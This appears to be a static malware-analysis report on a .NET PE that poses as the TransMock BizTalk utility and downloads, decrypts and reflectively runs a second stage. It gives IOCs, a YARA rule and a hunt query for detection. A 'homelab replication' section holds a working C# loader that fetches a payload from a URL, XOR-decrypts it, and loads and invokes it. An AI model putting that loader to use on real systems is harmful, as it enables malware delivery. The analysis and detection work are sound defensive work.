f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1unclassified-dotnet-transmock-masquerade: f3bc22f6 — .NET PE masquerading as TransMock utility with WinHTTP downloader and encrypted payload staging
Executive Summary
A .NET Framework PE32 (223 KB) compiled July 2024 masquerades as the legitimate open-source BizTalk testing utility TransMock (Copyright TransMock 2017, v1.3.0.0). Under that veneer it hosts attacker-authored classes — CrewPickupSM (WinHTTP downloader), EncryptionHelper (payload decryption), and ScopeFpgaI2c (likely XOR/staging) — that download, decrypt, and reflectively execute a second-stage payload. The filename PO-1512024-pdf.exe is a purchase-order lure. No siblings observed in this corpus; static-only analysis (CAPE skipped — no Windows guest). ^[file.txt] ^[pefile.txt] ^[capa.txt]
What It Is
| Attribute | Value | Source |
|---|---|---|
| SHA-256 | f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 |
^[metadata.json] |
| File name | PO-1512024-pdf.exe |
^[metadata.json] |
| Size | 223 232 bytes | ^[metadata.json] |
| Type | PE32 executable (GUI) Intel 80386 Mono/.Net assembly | ^[file.txt] |
| Timestamp | 0x66961BB5 — Tue 16 Jul 2024 07:05:25 UTC |
^[pefile.txt:34] |
| Runtime | .NET Framework v4.0.30319 |
^[strings.txt:47] |
| PDB path | C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb |
^[pefile.txt:203] |
| Internal name | Udflopli.exe |
^[strings.txt:1212] |
| Signed | No | ^[pefile.txt] |
| Sections | .text (entropy 5.99), .reloc (entropy 0.10) |
^[pefile.txt:92,112] |
The binary is not packed and carries no obfuscation beyond namespace confusion. IL metadata, class names, and method bodies are fully intact. The only anti-analysis artefact is the heavy benign surface area (FrodLib collections/math/IoC utilities) that would slow manual review. ^[strings.txt:1600-1700]
Family Ascription
Confidence: low — single sample, no siblings.
The malware deliberately clones the identity of TransMock, a real .NET open-source project by sagardgr8 for BizTalk endpoint mocking ^[strings.txt:2088-2093]. It reuses the TransMock.Utility namespace but injects malicious classes (CrewPickupSM, ScopeFpgaI2c, EncryptionHelper) alongside benign scaffolding (FrodLib math, collections, IoC container). This is not a TransMock trojanised build — the PDB path and internal name (Udflopli) show the author compiled their own assembly and pasted the TransMock version info as camouflage.
How It Works
Entry-Point Flow (static reconstruction)
The entry point TransMock.Utility.Cockpit.Main performs the following sequence ^[r2:entry0]:
- Allocates an
AetherFlowBuffand sets a stack count. - Constructs a
JobDelegatepointing toFdpService.BlockRappelAnchor(). - Calls
EncryptionHelper.Decrypt()— likely on an embedded ciphertext or a download buffer. - Invokes the delegate — first-stage payload execution via callback.
- Instantiates
CrewServiceand callsCrewPickupSMS("uct")— the"uct"parameter may be a partial URI fragment or a command verb. - Calls
CrewService.ClimbParadise()— second orchestration step. - Calls
EncryptionHelper.Decrypt()again on the result. - Calls
Cockpit.SchAetherJob()with an empty string argument. - Allocates a large byte array (
0x0100000b— ~16 MB) and writes into it with an illegal opcode (ill 0xa2), suggesting either:- a corrupted/placeholder IL sequence that radare2 cannot decompile correctly, or
- a reflective payload write followed by an invocation stub.
The control flow is orchestrated via .NET delegates and interface calls, not direct shellcode jumps, which is consistent with a managed-code loader pattern.
Network Communication
CrewPickupSM.GetHttpContentAsync() is an async Task<string> method wrapping the WinHTTP API ^[strings.txt:49-54] ^[capa.txt]. The full WinHTTP lifecycle is present:
WinHttpOpen(user-agent stringpwszUserAgent)WinHttpConnectWinHttpOpenRequestWinHttpSendRequestWinHttpReceiveResponseWinHttpReadData^[strings.txt:1218-1244]
No hardcoded URL, domain, or IP appears in static strings. The URI is likely constructed at runtime or decrypted from the EncryptionHelper blob.
Encryption
EncryptionHelper.Decrypt() takes a byte[] encryptedBytes parameter ^[strings.txt:1245]. The class also contains a .cctor (static constructor) and a standard instance constructor, suggesting key material may be initialised statically. The algorithm is not identifiable from static strings — no AES, DES, RC4, or XOR constants recovered.
Persistence
capa flags T1053.005 (Scheduled Task/Job) with two matches in the persistence/scheduled-tasks namespace ^[capa.txt]. The binary also imports System.Threading.Tasks.TaskScheduler and TaskFactory ^[strings.txt:1944,1061]. The exact command line (schtasks /create ...) is not visible in strings, so capa likely inferred it from .NET Process.Start or TaskScheduler API references.
Payload Staging
AetherFlowBuff/DrawList/barWidth/SchAetherBarHeight— UI-rendering names that are almost certainly repurposed as memory buffers or staging structures for the downloaded payload. ^[strings.txt:76-83]ScopeFpgaI2cimplementsIEnumerable<int>with a custom enumerator (<GetEnumerator>d__3) ^[strings.txt:2098]. The FPGA/I2C naming is nonsense camouflage; the real behaviour is likely a byte-array walk or XOR loop over an encrypted payload.
Decompiled Behavior
radare2 auto-analysis found 3 272 functions (level-2 analysis). The IL decompiler output is limited because radare2's CIL backend does not reconstruct high-level C# well, but the following function stubs are confirmed:
| Address | Symbol | Role |
|---|---|---|
0x004023f8 |
entry0 / Cockpit.Main |
Entry orchestrator |
0x004025c0 |
CrewPickupSM.GetHttpContentAsync |
WinHTTP async downloader |
0x004027cc |
EncryptionHelper.Decrypt |
Payload decryption stub |
0x00402614 |
ScopeFpgaI2c.ScopeFpgaI2cs |
Enumerable staging / byte walk |
0x00413300 |
CrewService.CrewPickupSMS |
Post-download callback |
0x004132d4 |
CrewService.ClimbParadise |
Second-stage callback |
0x0041333c |
FdpService.BlockRappelAnchor |
Delegate target invoked before decryption |
0x00413368 |
FdpService.MaxFDP |
No-op / guard function |
All three malicious services (CrewService, FdpService) contain trivial IL bodies (single push/ill sequences) in the radare2 decompile, which is consistent with interface stubs whose real logic lives in another module or is injected at runtime via AssemblyResolve or Marshal.GetDelegateForFunctionPointer. ^[r2:0x004132d4] ^[r2:0x00413300] ^[r2:0x0041333c]
C2 Infrastructure
| Indicator | Value | Confidence |
|---|---|---|
| C2 channel | WinHTTP over HTTPS (inferred from WinHttpOpenRequest + secure flag parameter) |
medium |
| Hardcoded URL | None recovered statically | — |
| Hardcoded IP | None | — |
| User-agent | Runtime-constructed (pwszUserAgent parameter) |
low |
| Domain / URI fragment | "uct" passed to CrewPickupSMS — possible partial command or path segment |
low |
The C2 endpoint is runtime-resolved. Expect it to be built from decrypted strings or retrieved from a hardcoded byte array passed to EncryptionHelper.Decrypt().
Interesting Tidbits
- Legitimate library masquerade. The version info, copyright, and product name all copy the real TransMock project. This is not accidental — it is deliberate social-engineering camouflage to make the file look like a harmless BizTalk testing tool if an analyst glances at Properties → Details. ^[strings.txt:2088-2093]
- FrodLib dependency bloat. The binary embeds an entire general-purpose .NET utility library (collections, math, IoC, CQI command framework) — ~180 distinct class names. This is either a genuine NuGet dependency of the builder's scaffold, or deliberate noise to inflate the benign string surface. ^[strings.txt:1600-1760]
- Semantic-jargon class names.
CrewPickupSM,ScopeFpgaI2c,AetherFlowBuff,SchAetherJob,BlockRappelAnchor,ClimbParadise,MaxFDP— all syntactically valid camelCase/PascalCase names that mean nothing. This is the managed-code equivalent of semantic export obfuscation seen in native malware. ^[strings.txt:373,376,1603-1607,930-933] - Compiler fingerprint. The
<>c__DisplayClassandd__6async state machine naming confirms Roslyn C# compiler (likely Visual Studio 2019/2022). TheAdmin2024username in the PDB suggests the build machine is named for the year of compilation. ^[pefile.txt:203] ^[strings.txt:1774-1775] - No CAPE detonation. No runtime IOCs available. All C2 and payload behaviour is inferred from static imports, capa, and IL metadata.
How To Mess With It (Homelab Replication)
Goal: Build a minimal .NET Framework 4.x executable that fetches a remote payload over WinHTTP, decrypts it in memory, and executes it via a delegate — producing the same capa fingerprint as this sample.
Toolchain: Visual Studio 2022, .NET Framework 4.8 Console App, AnyCPU (x86 preferred for PE32 match).
Working stub:
using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
class Program
{
static async Task Main()
{
byte[] key = new byte[] { 0x01, 0x02, 0x03, 0x04 }; // placeholder
var buf = await FetchAsync("https://example.com/payload.bin");
byte[] plain = Xor(buf, key);
var asm = Assembly.Load(plain);
var t = asm.GetType("Payload.Entry");
var m = t.GetMethod("Run");
var d = (Action)Delegate.CreateDelegate(typeof(Action), null, m);
d();
}
static async Task<byte[]> FetchAsync(string url)
{
using (var wc = new WebClient())
return await wc.DownloadDataTaskAsync(url);
}
static byte[] Xor(byte[] data, byte[] key)
{
for (int i = 0; i < data.Length; i++)
data[i] ^= key[i % key.Length];
return data;
}
}
Compiler flags: /debug:pdbonly or no PDB to avoid leaking username. Target AnyCPU, not Prefer 32-bit, if you want PE32+; tick Prefer 32-bit for PE32.
Verification:
- Compile.
- Run
capa repro.exe— expect hits on:communication/http/clientload-code/dotnetinvoke .NET assembly methodhost-interaction/process/create(if you spawn a child)data-manipulation/prng(if you useRandomfor key)
- Compare to this sample's
capa.txt— should share at least 4 capability namespaces.
Deployable Signatures
YARA rule
rule Unclassified_DotNet_TransMock_Masquerade
{
meta:
description = ".NET PE masquerading as TransMock with WinHTTP downloader classes"
author = "Titus"
date = "2026-06-20"
sha256 = "f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1"
strings:
$transmock1 = "TransMock.Utility" ascii wide
$transmock2 = "Copyright TransMock 2017" ascii wide
$transmock3 = "Easily mock the communication endpoints of BizTalk integrations" ascii wide
$crew = "CrewPickupSM" ascii wide
$scope = "ScopeFpgaI2c" ascii wide
$enc = "EncryptionHelper" ascii wide
$winhttp1 = "WinHttpOpen" ascii wide
$winhttp2 = "WinHttpSendRequest" ascii wide
$pdb = "Udflopli.pdb" ascii wide
$frodlib = "FrodLib.IoC" ascii wide
condition:
uint16(0) == 0x5A4D and
($transmock1 or $transmock2) and
($crew or $scope or $enc) and
($winhttp1 or $winhttp2) and
filesize < 300KB
}
Behavioral hunt query (Sigma-compatible KQL / pseudo-Sigma)
title: TransMock-masquerade .NET loader process tree
detection:
selection_parent:
- Image|endswith: '\PO-*.pdf.exe'
- OriginalFileName: 'Udflopli.exe'
selection_child:
- CommandLine|contains: 'schtasks'
- CommandLine|contains: 'WinHttp'
selection_network:
Initiated: true
Protocol: tcp
DestinationPort: 443
condition: selection_parent and (selection_child or selection_network)
IOC list
| Type | Value | Note |
|---|---|---|
| SHA-256 | f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 |
Sample |
| File name | PO-1512024-pdf.exe |
Lure |
| Internal name | Udflopli.exe |
PDB / PE resource |
| PDB path | C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb |
Build fingerprint |
| Class name | CrewPickupSM |
Downloader class |
| Class name | ScopeFpgaI2c |
Staging / XOR class |
| Class name | EncryptionHelper |
Decryptor class |
| Namespace | TransMock.Utility |
Masquerade identity |
Behavioral fingerprint statement
This binary is a .NET Framework PE32 with no packing. On launch it allocates a large managed byte array, initialises a WinHTTP session via P/Invoke, downloads a remote payload over HTTPS, decrypts the payload via a helper class with a static constructor, and executes it through a .NET delegate chain (JobDelegate.Invoke). The binary also contains capa-evidence of scheduled-task creation. All malicious logic is hidden inside syntactically valid but semantically nonsense class names (CrewPickupSM, ScopeFpgaI2c, ClimbParadise) alongside a large benign utility library (FrodLib) to inflate the string surface area.
Detection Signatures
| capa Capability | ATT&CK Technique | MBC Behavior |
|---|---|---|
| initialize WinHTTP library | — | C0002.008 |
| prepare HTTP request | — | C0002.012 |
| receive HTTP response | — | C0002.017 |
| schedule task via schtasks | T1053.005 | — |
| invoke .NET assembly method | T1620 | — |
| load .NET assembly | T1620 | — |
| file and directory discovery | T1083 | E1083 |
| system information discovery | T1082 | E1082 |
| generate random numbers in .NET | — | C0021.003 |
| copy file | — | C0045 |
| create process in .NET | — | C0017 |
| terminate process | — | C0018 |
| allocate unmanaged memory in .NET | — | — |
References
- Artifact ID:
e0390ac5-7240-4f05-99ee-810d840ae795(OpenCTI / MalwareBazaar) - Real TransMock project (benign reference): https://github.com/sagardgr8/TransMock (author
sagardgr8) - Related wiki pages:
- unclassified-dotnet — umbrella for unattributed .NET binaries
- unclassified-dotnet-transmock-masquerade — this tentative family page
Provenance
file.txt—filev5.45pefile.txt— pefile 2023.2.7strings.txt—stringsfrom GNU binutils 2.42capa.txt— flare-capa v7.0.0 (static analysis)rabin2-info.txt/ radare2 decompile — radare2 5.9.0exiftool.json— ExifTool 12.76- No dynamic analysis available (CAPE skipped — no Windows guest)